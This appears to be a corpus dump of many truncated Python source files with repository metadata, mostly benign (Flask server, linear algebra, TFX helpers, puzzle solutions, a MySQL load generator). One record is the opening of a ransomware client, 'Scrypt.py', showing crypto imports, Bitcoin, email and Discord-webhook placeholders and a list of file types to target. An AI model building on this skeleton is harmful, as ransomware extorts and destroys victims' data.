11309186f51ff34a8ed70944cd3fd480bd97b840 | 335 | py | Python | FCMDemo_server/main.py | charsyam/AndroidFCMDemo | 67e3bb2fbbdd1bb7ba5e194d064b9f9fc62d5697 | [
"MIT"
] | null | null | null | FCMDemo_server/main.py | charsyam/AndroidFCMDemo | 67e3bb2fbbdd1bb7ba5e194d064b9f9fc62d5697 | [
"MIT"
] | null | null | null | FCMDemo_server/main.py | charsyam/AndroidFCMDemo | 67e3bb2fbbdd1bb7ba5e194d064b9f9fc62d5697 | [
"MIT"
] | null | null | null | from flask import Flask, request
import redis
app = Flask(__name__)
rconn = redis.StrictRedis()
def keygen(key):
return "token:{key}".format(key=key)
@app.route('/api/register', methods=["POST"])
def register_token():
userid = request.form['userid']
token = request.form['token']
rconn.set(keygen(u... | 18.611111 | 45 | 0.683582 | 0 | 0 | 0 | 0 | 175 | 0.522388 | 0 | 0 | 49 | 0.146269 |
11317909c862fb2dd860a82e60e0abd38c112ba8 | 4,832 | py | Python | unn/linalg.py | hacksparr0w/unn | 8ee8a8a07034fa65d33de1750fb38e93ec8ed60c | [
"MIT"
] | 1 | 2021-07-28T09:15:19.000Z | 2021-07-28T09:15:19.000Z | unn/linalg.py | hacksparr0w/unn | 8ee8a8a07034fa65d33de1750fb38e93ec8ed60c | [
"MIT"
] | null | null | null | unn/linalg.py | hacksparr0w/unn | 8ee8a8a07034fa65d33de1750fb38e93ec8ed60c | [
"MIT"
] | null | null | null | import random
from collections import namedtuple
MatrixShape = namedtuple("MatrixShape", ["rows", "columns"])
def array2d(shape, value):
return [[value(i, j) for j in range(shape[1])] for i in range(shape[0])]
class Matrix:
def __init__(self, array):
self.array = array
rows = len(array)
... | 27.611429 | 79 | 0.548013 | 4,610 | 0.954056 | 141 | 0.02918 | 276 | 0.057119 | 0 | 0 | 389 | 0.080505 |
1131872ab4a0cec6debce22fccdd6997732871ab | 3,975 | py | Python | src/tfx_helper/local.py | dlabsai/tfx-helper | 74a05ffeaa14fdc0866d063e36114f7d654a5ae9 | [
"MIT"
] | null | null | null | src/tfx_helper/local.py | dlabsai/tfx-helper | 74a05ffeaa14fdc0866d063e36114f7d654a5ae9 | [
"MIT"
] | null | null | null | src/tfx_helper/local.py | dlabsai/tfx-helper | 74a05ffeaa14fdc0866d063e36114f7d654a5ae9 | [
"MIT"
] | null | null | null | import os.path
from typing import Any, Iterable, Mapping, Optional, Tuple
import tfx.v1 as tfx
from absl import logging
from ml_metadata.proto import metadata_store_pb2
from tfx.dsl.components.base.base_component import BaseComponent
from tfx.types.channel import Channel
from .base import BasePipelineHelper
from .int... | 35.176991 | 84 | 0.646289 | 3,605 | 0.906918 | 0 | 0 | 0 | 0 | 0 | 0 | 185 | 0.046541 |
113207da50dd87a4fba010e2037a5449d9f802b7 | 7,956 | py | Python | flash_services/utils.py | textbook/flash_services | 9422f48f62dd0cbef4ad5e593513de357496ed72 | [
"0BSD"
] | 2 | 2016-05-05T20:09:45.000Z | 2017-09-29T08:52:56.000Z | flash_services/utils.py | textbook/flash_services | 9422f48f62dd0cbef4ad5e593513de357496ed72 | [
"0BSD"
] | 27 | 2016-04-18T08:32:47.000Z | 2021-11-25T11:05:15.000Z | flash_services/utils.py | textbook/flash_services | 9422f48f62dd0cbef4ad5e593513de357496ed72 | [
"0BSD"
] | null | null | null | """Useful utility functions for services."""
import logging
import re
from datetime import datetime, timezone
from inspect import Parameter, Signature
from dateutil.parser import parse
from humanize import naturaldelta, naturaltime
logger = logging.getLogger(__name__)
WORDS = {'1': 'one', '2': 'two', '3': 'three', ... | 27.434483 | 94 | 0.616013 | 178 | 0.022373 | 0 | 0 | 0 | 0 | 0 | 0 | 4,144 | 0.520865 |
11320bf37db22b6bcf70d050353d8c49a441efd2 | 1,084 | py | Python | Python3/0407-Trapping-Rain-Water-II/soln-2.py | wyaadarsh/LeetCode-Solutions | 3719f5cb059eefd66b83eb8ae990652f4b7fd124 | [
"MIT"
] | 5 | 2020-07-24T17:48:59.000Z | 2020-12-21T05:56:00.000Z | Python3/0407-Trapping-Rain-Water-II/soln-2.py | zhangyaqi1989/LeetCode-Solutions | 2655a1ffc8678ad1de6c24295071308a18c5dc6e | [
"MIT"
] | null | null | null | Python3/0407-Trapping-Rain-Water-II/soln-2.py | zhangyaqi1989/LeetCode-Solutions | 2655a1ffc8678ad1de6c24295071308a18c5dc6e | [
"MIT"
] | 2 | 2020-07-24T17:49:01.000Z | 2020-08-31T19:57:35.000Z | class Solution:
def trapRainWater(self, heightMap: List[List[int]]) -> int:
if not any(heightMap):
return 0
m, n = len(heightMap), len(heightMap[0])
pq = []
visited = set()
for j in range(n):
pq.append((heightMap[0][j], 0, j))
pq.append((he... | 38.714286 | 79 | 0.439114 | 1,083 | 0.999077 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
11327c7421ed7b895a1170478e90b2ac25d66a3a | 1,233 | py | Python | d16.py | JasperGeurtz/aoc-2020 | 976b54016364e24fdf827b6e60edae82e9458277 | [
"MIT"
] | 1 | 2021-01-03T12:08:39.000Z | 2021-01-03T12:08:39.000Z | d16.py | JasperGeurtz/aoc-2020 | 976b54016364e24fdf827b6e60edae82e9458277 | [
"MIT"
] | null | null | null | d16.py | JasperGeurtz/aoc-2020 | 976b54016364e24fdf827b6e60edae82e9458277 | [
"MIT"
] | null | null | null | import utils
m = utils.opener.raw("input/16.txt")
rm, tm, om = m.split("\n\n")
rules = {}
for line in rm.split("\n"):
name, expr = line.split(": ")
rules[name] = [[int(q) for q in x.split("-")] for x in expr.split(" or ")]
myticket = [int(x) for x in tm.split("\n")[1].split(",")]
tickets = [[int(q) for q in ... | 25.6875 | 97 | 0.518248 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 74 | 0.060016 |
11331886bdb42648eba47c6e484600231ff9a470 | 4,931 | py | Python | run_portfolio.py | drewvolpe/vc_modeling | 5ba33e41e3c1ffad212d1a0a1abb585b2c384221 | [
"MIT"
] | 1 | 2020-07-12T09:16:37.000Z | 2020-07-12T09:16:37.000Z | run_portfolio.py | drewvolpe/vc_modeling | 5ba33e41e3c1ffad212d1a0a1abb585b2c384221 | [
"MIT"
] | null | null | null | run_portfolio.py | drewvolpe/vc_modeling | 5ba33e41e3c1ffad212d1a0a1abb585b2c384221 | [
"MIT"
] | null | null | null |
from collections import Counter
import random
import math
###
# Parameters of assumptions
###
# How many initial investments and avg check size
num_seed_rounds = 50
invested_per_seed_round = 0.5
# Probabilities of different outcomes (prob, outcome multiple)
outcome_probs_seed = [ [0.01, 100], # N% chance of Mx ret... | 28.33908 | 98 | 0.589536 | 1,109 | 0.224904 | 0 | 0 | 374 | 0.075847 | 0 | 0 | 1,070 | 0.216995 |
113341028baadbdf6860b5c685deb7e0ad58a04a | 186 | py | Python | utils/DiceRatio.py | jasonxingqi/3D-Unet--Tensorflow | d925d3c16d3f02c6cb9cd0e059e30f4455ff299e | [
"MIT"
] | 2 | 2019-04-30T09:09:11.000Z | 2019-05-05T01:50:15.000Z | utils/DiceRatio.py | seanbefore/3D-Unet--Tensorflow | 36a24c38041ad88d74b5d5ab09ded3c3894b00b3 | [
"MIT"
] | null | null | null | utils/DiceRatio.py | seanbefore/3D-Unet--Tensorflow | 36a24c38041ad88d74b5d5ab09ded3c3894b00b3 | [
"MIT"
] | null | null | null | import numpy as np
def dice_ratio(pred, label):
'''Note: pred & label should only contain 0 or 1.
'''
return np.sum(pred[label==1])*2.0 / (np.sum(pred) + np.sum(label)) | 26.571429 | 70 | 0.607527 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 57 | 0.306452 |
1133ef41069d7316eeeb3a398b4c83b6ef70a38d | 8,408 | py | Python | Client/Scrypt.py | TheRedBladeClan/ScryptRansomware | 79d8eb4e0e72b74a1d37e9723667cdefd259cae4 | [
"MIT"
] | 8 | 2021-08-01T23:34:16.000Z | 2022-01-04T21:37:24.000Z | Client/Scrypt.py | TheRedBladeClan/ScryptRansomware | 79d8eb4e0e72b74a1d37e9723667cdefd259cae4 | [
"MIT"
] | null | null | null | Client/Scrypt.py | TheRedBladeClan/ScryptRansomware | 79d8eb4e0e72b74a1d37e9723667cdefd259cae4 | [
"MIT"
] | 6 | 2021-08-01T23:15:02.000Z | 2022-03-26T13:46:43.000Z | import PyQt5
import PyQt5.QtWidgets
import PyQt5.QtCore
import sys
import requests
import random
import string
import threading
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os
import shutil
btcAdd = ""
email = ""
discordWebhook = ""
fileTypes = ['.txt','.exe','.p... | 39.28972 | 2,154 | 0.574215 | 4,200 | 0.499524 | 0 | 0 | 70 | 0.008325 | 0 | 0 | 4,723 | 0.561727 |
11344bfdd8f3f077e971333f0359d4844c75765b | 611 | py | Python | tests/__init__.py | rhit-goldmate/lab-1 | 4f9f606f24c783495a246c13bde1f24a44bcf247 | [
"MIT"
] | null | null | null | tests/__init__.py | rhit-goldmate/lab-1 | 4f9f606f24c783495a246c13bde1f24a44bcf247 | [
"MIT"
] | null | null | null | tests/__init__.py | rhit-goldmate/lab-1 | 4f9f606f24c783495a246c13bde1f24a44bcf247 | [
"MIT"
] | 1 | 2021-09-13T14:47:48.000Z | 2021-09-13T14:47:48.000Z | import os
from flask import Blueprint, Flask
def create_app(opts = {}):
app = Flask(__name__)
# We will learn how to store our secrets properly in a few short weeks.
# In the meantime, we'll use this:
app.config['SECRET_KEY'] = os.getenv('SECRET_KEY') or "Don't ever store secrets in your actual code"
... | 35.941176 | 104 | 0.728314 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 297 | 0.486088 |
1136bb828a12a7dcfde93227e557d6824371edd7 | 845 | py | Python | test/test_DateUtils.py | sebastianhaberey/ctax | b1da8a196560d25d5367e576cc6f659a9572bdc5 | [
"MIT"
] | 10 | 2018-12-18T21:16:47.000Z | 2022-01-17T19:53:33.000Z | test/test_DateUtils.py | sebastianhaberey/ctax | b1da8a196560d25d5367e576cc6f659a9572bdc5 | [
"MIT"
] | 19 | 2018-09-15T18:51:45.000Z | 2018-09-29T18:01:46.000Z | test/test_DateUtils.py | sebastianhaberey/ctax | b1da8a196560d25d5367e576cc6f659a9572bdc5 | [
"MIT"
] | null | null | null | from datetime import datetime
from unittest import TestCase
from dateutil.tz import UTC
from src.DateUtils import get_start_of_year, get_start_of_year_after, date_to_string, date_and_time_to_string
class TestDateUtils(TestCase):
def test_get_start_of_year(self):
self.assertEqual(datetime(2018, 1, 1, 0,... | 36.73913 | 109 | 0.713609 | 642 | 0.759763 | 0 | 0 | 0 | 0 | 0 | 0 | 37 | 0.043787 |
1137675ff4573acee0c74caca52ca34bf90e674c | 18,260 | py | Python | third-party/webscalesqlclient/mysql-5.6/mysql-test/suite/innodb_stress/t/load_generator.py | hkirsman/hhvm_centos7_builds | 2a1fd6de0d2d289c1575f43f10018f3bec23bb13 | [
"PHP-3.01",
"Zend-2.0"
] | null | null | null | third-party/webscalesqlclient/mysql-5.6/mysql-test/suite/innodb_stress/t/load_generator.py | hkirsman/hhvm_centos7_builds | 2a1fd6de0d2d289c1575f43f10018f3bec23bb13 | [
"PHP-3.01",
"Zend-2.0"
] | null | null | null | third-party/webscalesqlclient/mysql-5.6/mysql-test/suite/innodb_stress/t/load_generator.py | hkirsman/hhvm_centos7_builds | 2a1fd6de0d2d289c1575f43f10018f3bec23bb13 | [
"PHP-3.01",
"Zend-2.0"
] | null | null | null | import cStringIO
import hashlib
import MySQLdb
import os
import random
import signal
import sys
import threading
import time
import string
import traceback
CHARS = string.letters + string.digits
def sha1(x):
return hashlib.sha1(str(x)).hexdigest()
# Should be deterministic given an idx
def get_msg(do_blob, idx):
... | 34.130841 | 115 | 0.600657 | 11,205 | 0.613636 | 0 | 0 | 0 | 0 | 0 | 0 | 5,073 | 0.27782 |
11389b7061e65d0958fbebfba4739239a2fc1bea | 2,037 | py | Python | sancus/lib/cogs/owner/admin_slash.py | Solar-Productions/sancus | eb3c5c702bc5574c62b488c0e3bb06a36159e651 | [
"Apache-2.0"
] | 1 | 2021-09-03T22:52:27.000Z | 2021-09-03T22:52:27.000Z | sancus/lib/cogs/owner/admin_slash.py | LunarDevelop/sancus | eb3c5c702bc5574c62b488c0e3bb06a36159e651 | [
"Apache-2.0"
] | 1 | 2021-10-10T22:11:51.000Z | 2021-10-10T22:11:51.000Z | sancus/lib/cogs/owner/admin_slash.py | Solar-Productions/sancus | eb3c5c702bc5574c62b488c0e3bb06a36159e651 | [
"Apache-2.0"
] | 1 | 2021-11-11T16:04:02.000Z | 2021-11-11T16:04:02.000Z | from configparser import ConfigParser
from glob import glob
from discord import Embed
from discord.ext.commands import Cog, command, group, is_owner
import asyncio
import datetime
import sys
import discord
from discord.ext.commands.context import Context
#from tinker.ext.apps import *
class Counter(discord.ui.View... | 37.036364 | 93 | 0.701522 | 1,744 | 0.856161 | 0 | 0 | 1,085 | 0.532646 | 928 | 0.455572 | 725 | 0.355916 |
113a13cfc94224ffc2876a0d52f150f295d86f1c | 20,820 | py | Python | jscodestyle/main.py | zeth/jscodestyle | 43c98de7b544bf2203b23792677a7cefb5daf1d9 | [
"Apache-2.0"
] | null | null | null | jscodestyle/main.py | zeth/jscodestyle | 43c98de7b544bf2203b23792677a7cefb5daf1d9 | [
"Apache-2.0"
] | null | null | null | jscodestyle/main.py | zeth/jscodestyle | 43c98de7b544bf2203b23792677a7cefb5daf1d9 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# Copyright 2018 The JsCodeStyle Authors.
# Copyright 2007 The Closure Linter Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http... | 33.365385 | 89 | 0.579443 | 18,497 | 0.888425 | 1,345 | 0.064601 | 438 | 0.021037 | 0 | 0 | 8,044 | 0.386359 |
113bd9cbcd07a3d262fa13c56a09b92b81be3c27 | 326 | py | Python | leetcode/code/reverseString.py | exchris/Pythonlearn | 174f38a86cf1c85d6fc099005aab3568e7549cd0 | [
"MIT"
] | null | null | null | leetcode/code/reverseString.py | exchris/Pythonlearn | 174f38a86cf1c85d6fc099005aab3568e7549cd0 | [
"MIT"
] | 1 | 2018-11-27T09:58:54.000Z | 2018-11-27T09:58:54.000Z | leetcode/code/reverseString.py | exchris/pythonlearn | 174f38a86cf1c85d6fc099005aab3568e7549cd0 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding:utf-8 -*-
'''
编写一个函数,其作用是将输入的字符串反转过来。
示例 1:
输入: "hello"
输出: "olleh"
示例 2:
输入: "A man, a plan, a canal: Panama"
输出: "amanaP :lanac a ,nalp a ,nam A"
'''
class Solution:
def reverseString(self, s):
'''
:param s: str
:return: str
'''
return s[:... | 13.583333 | 36 | 0.518405 | 137 | 0.34596 | 0 | 0 | 0 | 0 | 0 | 0 | 311 | 0.785354 |
113d668d246018125fb65ca3ee23f8d2a4812ab3 | 343 | py | Python | tracker/admin.py | OscarGichana/tracker | c980f0e348804ae6a2501c09096df1af51b0bba6 | [
"Unlicense"
] | null | null | null | tracker/admin.py | OscarGichana/tracker | c980f0e348804ae6a2501c09096df1af51b0bba6 | [
"Unlicense"
] | null | null | null | tracker/admin.py | OscarGichana/tracker | c980f0e348804ae6a2501c09096df1af51b0bba6 | [
"Unlicense"
] | null | null | null | from django.contrib import admin
from .models import Profile,Neighborhood,Posts,Business
# Register your models here.
admin.site.register(Profile)
admin.site.register(Neighborhood)
admin.site.register(Posts)
admin.site.register(Business)
# admin.site.register(DisLike)
# admin.site.register(MoringaMerch)
# admin.site.r... | 28.583333 | 55 | 0.819242 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 129 | 0.376093 |
113f460e7a9bae8c1f88a8e62410ca63e38c1751 | 62,843 | py | Python | pyls/extra/mclass.py | nemethf/bess-language-server | 25768bfabd3b2f194c14c383e13c96a2c35ab096 | [
"MIT"
] | null | null | null | pyls/extra/mclass.py | nemethf/bess-language-server | 25768bfabd3b2f194c14c383e13c96a2c35ab096 | [
"MIT"
] | null | null | null | pyls/extra/mclass.py | nemethf/bess-language-server | 25768bfabd3b2f194c14c383e13c96a2c35ab096 | [
"MIT"
] | null | null | null | # This file is auto-genereated by bess-gen-doc.
# See https://github.com/nemethf/bess-gen-doc
#
# It is based on bess/protobuf/module_msg.proto, which has the following copyright.
# Copyright (c) 2016-2017, Nefeli Networks, Inc.
# Copyright (c) 2017, The Regents of the University of California.
# All rights reserved.
... | 32.095506 | 260 | 0.70926 | 60,810 | 0.96765 | 0 | 0 | 0 | 0 | 0 | 0 | 54,756 | 0.871314 |
1140bf2a91589655a2b5c15a7d3b4ca12c6d5027 | 409 | py | Python | posts/migrations/0010_auto_20201120_0529.py | vldslv/simple-blog | 85ea180e92a3a584e3b4ae2d97a5224c559a7cc1 | [
"BSD-3-Clause"
] | null | null | null | posts/migrations/0010_auto_20201120_0529.py | vldslv/simple-blog | 85ea180e92a3a584e3b4ae2d97a5224c559a7cc1 | [
"BSD-3-Clause"
] | null | null | null | posts/migrations/0010_auto_20201120_0529.py | vldslv/simple-blog | 85ea180e92a3a584e3b4ae2d97a5224c559a7cc1 | [
"BSD-3-Clause"
] | null | null | null | # Generated by Django 2.2.9 on 2020-11-20 02:29
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('posts', '0009_auto_20201115_0431'),
]
operations = [
migrations.AddConstraint(
model_name='follow',
constraint=model... | 22.722222 | 99 | 0.630807 | 316 | 0.772616 | 0 | 0 | 0 | 0 | 0 | 0 | 119 | 0.290954 |
1140d660290898ce8ff771db41de2f9db2a0fbed | 350 | py | Python | tests/test_helpers.py | jlmcgehee21/disterminal | 0517483960459d81f2f7361e53c91bd12c12130b | [
"MIT"
] | 10 | 2018-03-25T19:14:21.000Z | 2018-05-20T04:04:27.000Z | tests/test_helpers.py | jlmcgehee21/disterminal | 0517483960459d81f2f7361e53c91bd12c12130b | [
"MIT"
] | 1 | 2018-04-06T17:33:45.000Z | 2018-04-06T17:33:45.000Z | tests/test_helpers.py | jlmcgehee21/disterminal | 0517483960459d81f2f7361e53c91bd12c12130b | [
"MIT"
] | null | null | null | import pytest
from disterminal import helpers
import numpy as np
def main_call(x):
out = np.zeros(x.shape)
out[1] = 0.1
out[-1] = 0.1
return out
def test_autorange():
x = helpers.autorange(main_call, '')
assert x.shape == (100,)
assert x.min() == pytest.approx(-9999.95)
assert x.ma... | 17.5 | 45 | 0.625714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 | 0.005714 |
114113c2327e984853bcfe3d2bdb8fbe4a9538bc | 4,149 | py | Python | tests/test_lookups.py | gluk-w/python-tuple-lookup | b0c44bb8fb9c94925c97b54b02ffc8abeb570914 | [
"MIT"
] | null | null | null | tests/test_lookups.py | gluk-w/python-tuple-lookup | b0c44bb8fb9c94925c97b54b02ffc8abeb570914 | [
"MIT"
] | null | null | null | tests/test_lookups.py | gluk-w/python-tuple-lookup | b0c44bb8fb9c94925c97b54b02ffc8abeb570914 | [
"MIT"
] | null | null | null | import pytest
from listlookup import ListLookup
sample_list = [
{"id": 1, "country": "us", "name": "Atlanta"},
{"id": 2, "country": "us", "name": "Miami"},
{"id": 3, "country": "uk", "name": "Britain"},
{"id": 5, "country": "uk", "name": "Bermingham"},
{"id": 4, "country": "ca", "name": "Barrie"},... | 31.195489 | 114 | 0.614124 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 873 | 0.210412 |
1143cbb13d91eca82341ad8a60ceba57b21e31ee | 13,697 | py | Python | ImagePipeline_utils.py | titsitits/image-restoration | 7434917c8e14c9c78cd1a9aa06ff1a058368543b | [
"Apache-2.0"
] | 18 | 2019-07-24T15:58:11.000Z | 2022-02-16T04:14:15.000Z | ImagePipeline_utils.py | titsitits/image-restoration | 7434917c8e14c9c78cd1a9aa06ff1a058368543b | [
"Apache-2.0"
] | 2 | 2020-09-15T10:26:31.000Z | 2021-02-23T16:52:50.000Z | ImagePipeline_utils.py | titsitits/image-restoration | 7434917c8e14c9c78cd1a9aa06ff1a058368543b | [
"Apache-2.0"
] | 7 | 2019-10-01T07:28:58.000Z | 2022-01-08T12:45:01.000Z | import time
import numpy as np
import os, sys, shutil
from contextlib import contextmanager
from numba import cuda as ncuda
import PIL
from PIL import Image, ImageFilter, ImageDraw, ImageFont
import cv2
import contextlib
from copy import deepcopy
import subprocess
from glob import glob
from os import path as osp
from o... | 24.768535 | 172 | 0.678032 | 1,528 | 0.111557 | 1,249 | 0.091188 | 1,299 | 0.094838 | 0 | 0 | 3,009 | 0.219683 |
1144dfe3b0de92ac50325fd69bcff937bffb9527 | 371 | py | Python | py_tea_code/2.mypro_io/test_os/my05.py | qq4215279/study_python | b0eb9dedfc4abb2fd6c024a599e7375869c3d77a | [
"Apache-2.0"
] | null | null | null | py_tea_code/2.mypro_io/test_os/my05.py | qq4215279/study_python | b0eb9dedfc4abb2fd6c024a599e7375869c3d77a | [
"Apache-2.0"
] | null | null | null | py_tea_code/2.mypro_io/test_os/my05.py | qq4215279/study_python | b0eb9dedfc4abb2fd6c024a599e7375869c3d77a | [
"Apache-2.0"
] | null | null | null | #coding=utf-8
#测试os.walk()递归遍历所有的子目录和子文件
import os
all_files = []
path = os.getcwd()
list_files = os.walk(path)
for dirpath,dirnames,filenames in list_files:
for dir in dirnames:
all_files.append(os.path.join(dirpath,dir))
for file in filenames:
all_files.append(os.path.join(dirpath,file))
#... | 20.611111 | 52 | 0.71159 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 108 | 0.252927 |
1144ebed87008c80403fadd34329c7f64e53da5b | 2,801 | py | Python | lib_drl/layer_utils/proposal_layer.py | chang010453/GRP-HAI | 60f7c7633e33dbdd852f5df3e0a3d1017b6b2a22 | [
"MIT"
] | null | null | null | lib_drl/layer_utils/proposal_layer.py | chang010453/GRP-HAI | 60f7c7633e33dbdd852f5df3e0a3d1017b6b2a22 | [
"MIT"
] | null | null | null | lib_drl/layer_utils/proposal_layer.py | chang010453/GRP-HAI | 60f7c7633e33dbdd852f5df3e0a3d1017b6b2a22 | [
"MIT"
] | null | null | null | # --------------------------------------------------------
# Faster R-CNN
# Licensed under The MIT License [see LICENSE for details]
# Written by Ross Girshick and Xinlei Chen
# --------------------------------------------------------
from __future__ import absolute_import
from __future__ import division
from __future_... | 35.455696 | 80 | 0.670118 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 746 | 0.266333 |
1145f38136a9b2f21e2507449a336cde84624ed4 | 14,999 | py | Python | tools/verification/trt_verify.py | mrsempress/mmdetection | cb650560c97a2fe56a9b369a1abc8ec17e06583a | [
"Apache-2.0"
] | null | null | null | tools/verification/trt_verify.py | mrsempress/mmdetection | cb650560c97a2fe56a9b369a1abc8ec17e06583a | [
"Apache-2.0"
] | null | null | null | tools/verification/trt_verify.py | mrsempress/mmdetection | cb650560c97a2fe56a9b369a1abc8ec17e06583a | [
"Apache-2.0"
] | null | null | null | from __future__ import print_function
import os
import time
import numpy as np
import tensorrt as trt
import pycuda.driver as cuda
import pycuda.autoinit
import cv2
import mmcv
from tqdm import tqdm
import pickle as pkl
from vis_util import show_corners
from tools.model_zoo import model_zoo as zoo
TRT_LOGGER = trt.L... | 37.876263 | 151 | 0.626775 | 293 | 0.019535 | 0 | 0 | 0 | 0 | 0 | 0 | 4,607 | 0.307154 |
1146252ac942d4c9ff4deece36ba6f7c91187e06 | 1,741 | py | Python | Main.py | 0ne0rZer0/Mon-T-Python | c263ed540d811a8bc238b859f03a52cc1151779c | [
"MIT"
] | null | null | null | Main.py | 0ne0rZer0/Mon-T-Python | c263ed540d811a8bc238b859f03a52cc1151779c | [
"MIT"
] | null | null | null | Main.py | 0ne0rZer0/Mon-T-Python | c263ed540d811a8bc238b859f03a52cc1151779c | [
"MIT"
] | null | null | null | import os, time, sys, hashlib
# Python Recreation of MonitorSauraus Rex.
# Originally Developed by Luke Barlow, Dayan Patel, Rob Shire, Sian Skiggs.
# Aims:
# - Detect Rapid File Changes
# - Cut Wifi Connections
# - Create Logs for running processes at time of trigger, find source infection fil... | 27.634921 | 151 | 0.66054 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,069 | 0.614015 |
1148006841dace7c2d15cf681638c79c776c650b | 270 | py | Python | pytext/data/sources/__init__.py | shruti-bh/pytext | ae84a5493a5331ac07699d3dfa5b9de521ea85ea | [
"BSD-3-Clause"
] | 1 | 2020-10-20T09:14:15.000Z | 2020-10-20T09:14:15.000Z | pytext/data/sources/__init__.py | shruti-bh/pytext | ae84a5493a5331ac07699d3dfa5b9de521ea85ea | [
"BSD-3-Clause"
] | null | null | null | pytext/data/sources/__init__.py | shruti-bh/pytext | ae84a5493a5331ac07699d3dfa5b9de521ea85ea | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved
from .data_source import DataSchema, DataSchemaConfig, DataSource
from .tsv import TSVDataSource
__all__ = ["DataSchema", "DataSchemaConfig", "DataSource", "TSVDataSource"]
| 30 | 75 | 0.774074 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 149 | 0.551852 |
1148e9602cf3ea5d501cac86ca50ffbe359518e0 | 4,444 | py | Python | src/Competition/4.25.com3.py | Peefy/PeefyLeetCode | 92156e4b48ba19e3f02e4286b9f733e9769a1dee | [
"Apache-2.0"
] | 2 | 2018-05-03T07:50:03.000Z | 2018-06-17T04:32:13.000Z | src/Competition/4.25.com3.py | Peefy/PeefyLeetCode | 92156e4b48ba19e3f02e4286b9f733e9769a1dee | [
"Apache-2.0"
] | null | null | null | src/Competition/4.25.com3.py | Peefy/PeefyLeetCode | 92156e4b48ba19e3f02e4286b9f733e9769a1dee | [
"Apache-2.0"
] | 3 | 2018-11-09T14:18:11.000Z | 2021-11-17T15:23:52.000Z |
import math
class Solution(object):
def bfs(self, maze, i, j, fx, fy, m, n):
if i == fx and j == fy:
return 0
path = 0
bfsqueue = []
bfsvisit = [[0 for j in range(n)] for i in range(m)]
bfscost = [[math.inf for j in range(n)] for i in range(m)]
bfsvisit... | 37.982906 | 108 | 0.464446 | 4,205 | 0.94622 | 0 | 0 | 0 | 0 | 0 | 0 | 79 | 0.017777 |
11499a7441906f3bce3d215812d969fa784411f0 | 3,836 | py | Python | coinextAPI.py | R-Mascarenhas/CryptoTrade | 491a7a2e562694312843fbc58a003904d3d97000 | [
"Apache-2.0"
] | 1 | 2021-05-28T15:31:53.000Z | 2021-05-28T15:31:53.000Z | coinextAPI.py | R-Mascarenhas/CryptoTrade | 491a7a2e562694312843fbc58a003904d3d97000 | [
"Apache-2.0"
] | null | null | null | coinextAPI.py | R-Mascarenhas/CryptoTrade | 491a7a2e562694312843fbc58a003904d3d97000 | [
"Apache-2.0"
] | null | null | null | import requests
import json
from datetime import date, datetime, timedelta
class Coinext:
def __init__(self, ativo):
self.ativo = ativo
self.urlCoinext = 'https://api.coinext.com.br:8443/AP/'
def service_url(service_name):
return 'https://api.coinext.com.br:8443/AP/%s' % servic... | 36.188679 | 124 | 0.618352 | 3,773 | 0.980255 | 0 | 0 | 0 | 0 | 0 | 0 | 1,111 | 0.288646 |
11499dc46efd3a0f04d31a58e295c03134ec2637 | 469 | py | Python | example/soft_spi_example.py | amaork/raspi-io | aaea4532569010a64f3c54036b9db7eb81515d1a | [
"MIT"
] | 8 | 2018-02-28T16:02:36.000Z | 2021-08-06T12:57:39.000Z | example/soft_spi_example.py | amaork/raspi-io | aaea4532569010a64f3c54036b9db7eb81515d1a | [
"MIT"
] | null | null | null | example/soft_spi_example.py | amaork/raspi-io | aaea4532569010a64f3c54036b9db7eb81515d1a | [
"MIT"
] | 1 | 2019-05-08T06:50:33.000Z | 2019-05-08T06:50:33.000Z | from raspi_io import SoftSPI, GPIO
import raspi_io.utility as utility
if __name__ == "__main__":
address = utility.scan_server(0.05)[0]
cpld = SoftSPI(address, GPIO.BCM, cs=7, clk=11, mosi=10, miso=9, bits_per_word=10)
flash = SoftSPI(address, GPIO.BCM, cs=8, clk=11, mosi=10, miso=9, bits_per_word=8)
... | 31.266667 | 86 | 0.66951 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 | 0.021322 |
1149ea534c3710b9c8fba988306c661b296e5d6e | 342 | py | Python | Python3/0678-Valid-Parenthesis-String/soln.py | wyaadarsh/LeetCode-Solutions | 3719f5cb059eefd66b83eb8ae990652f4b7fd124 | [
"MIT"
] | 5 | 2020-07-24T17:48:59.000Z | 2020-12-21T05:56:00.000Z | Python3/0678-Valid-Parenthesis-String/soln.py | zhangyaqi1989/LeetCode-Solutions | 2655a1ffc8678ad1de6c24295071308a18c5dc6e | [
"MIT"
] | null | null | null | Python3/0678-Valid-Parenthesis-String/soln.py | zhangyaqi1989/LeetCode-Solutions | 2655a1ffc8678ad1de6c24295071308a18c5dc6e | [
"MIT"
] | 2 | 2020-07-24T17:49:01.000Z | 2020-08-31T19:57:35.000Z | class Solution:
def checkValidString(self, s):
"""
:type s: str
:rtype: bool
"""
cmin = cmax = 0
for ch in s:
cmax = cmax - 1 if ch == ')' else cmax + 1
cmin = cmin + 1 if ch == '(' else max(cmin - 1, 0)
if cmax < 0: return False
... | 28.5 | 62 | 0.432749 | 342 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 63 | 0.184211 |
114a920b441f7acbb102aa82afab60cd9f2a194e | 2,527 | py | Python | video/train_vqvae_lstm.py | arash-safari/vp | 377e0172112157b79690b32349481a17e7590063 | [
"MIT"
] | null | null | null | video/train_vqvae_lstm.py | arash-safari/vp | 377e0172112157b79690b32349481a17e7590063 | [
"MIT"
